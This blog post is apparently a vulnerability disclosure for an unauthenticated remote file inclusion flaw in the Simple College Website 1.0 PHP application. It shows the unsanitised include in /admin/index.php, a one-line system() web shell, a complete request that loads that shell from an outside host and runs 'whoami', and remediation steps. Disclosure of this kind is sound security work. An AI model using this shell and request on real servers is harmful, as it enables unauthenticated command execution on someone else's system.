

[Open in app](#)[Get started](#)

gowthamaraj(@fuffsec)

[Follow](#)

Sep 4 · 2 min read · [Listen](#)



Save



## Simple College Website 1.0 — RFI

Simple College Website 1.0 is vulnerable to a Remote File Include (RFI) attack. User input could be passed into file include commands and the web application could be tricked into including remote files with malicious code. Attacker can execute commands without authenticating into the system.

Vendor Homepage: <https://www.sourcecodester.com/php/14548/simple-college-website-using-htmlphpmysqli-source-code.html>

Source Code:

<https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple-college-website.zip>



[Open in app](#)[Get started](#)

Photo by [Markus Spiske](#) on [Unsplash](#)

## Root cause Analysis and Hacking

Let's look at the source code which caused the RFI.

```
69
70 <main id="view-panel" >
71   <?php $page = isset($_GET['page']) ? $_GET['page'] : 'home'; ?>
72   <?php include $page.'.php' ?>
73
74
```

/admin/index.php

line 72 uses “include” expression to include the php. We could clearly see that there is no input validation or sanitisation. Hence, we can include Remote php files and execute it on the target.



[Open in app](#)[Get started](#)

## Condition:

1. To allow inclusion of remote files, the directive **allow\_url\_include** must be set to On in php.ini

We can create a local python simple HTTP server and server the remote php file for exploitation.

```
[ubuntu@test:/var/www/html/college_website$ cat exploit.php
<?php
echo system($_GET["command"]);
?>
```

exploit.php

**Request**

1 GET /college\_website/admin/index.php?page=http://20.169.68.2:443/exploit&command=whoami HTTP/1.1

2 Host: 20.169.68.2

3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:103.0) Gecko/20100101 Firefox/103.0

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

5 Accept-Language: en-US,en;q=0.5

6 Accept-Encoding: gzip, deflate

7 Connection: close

8 Cookie: PHPSESSID=q9i2vdb5479bhhue4tl1ho14o

9 Upgrade-Insecure-Requests: 1

10

11

**Response**

179 </div>

180

181 <main id="view-panel" >

182 www-data

183 www-data

184

185 </main>

186

187 <div id="preloader">

188 </div>

189 <a href="#" class="back-to-top">

190 <i class="icofont-simple-up">

191 </i>

192 </a>

193

194 <div class="modal fade" id="notification" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">

195

196

Burp Req/Res

There is no need for authentication to get the RFI and execute remote code. Hence, it is an unauthenticated RFI.

## Remediation

1. Authentication of requests made by the user.
2. Checking for file location when including it.
3. disabling allow\_url\_include
4. Input sanitisation and validation





Open in app

Get started

[About](#) [Help](#) [Terms](#) [Privacy](#)

Get the Medium app

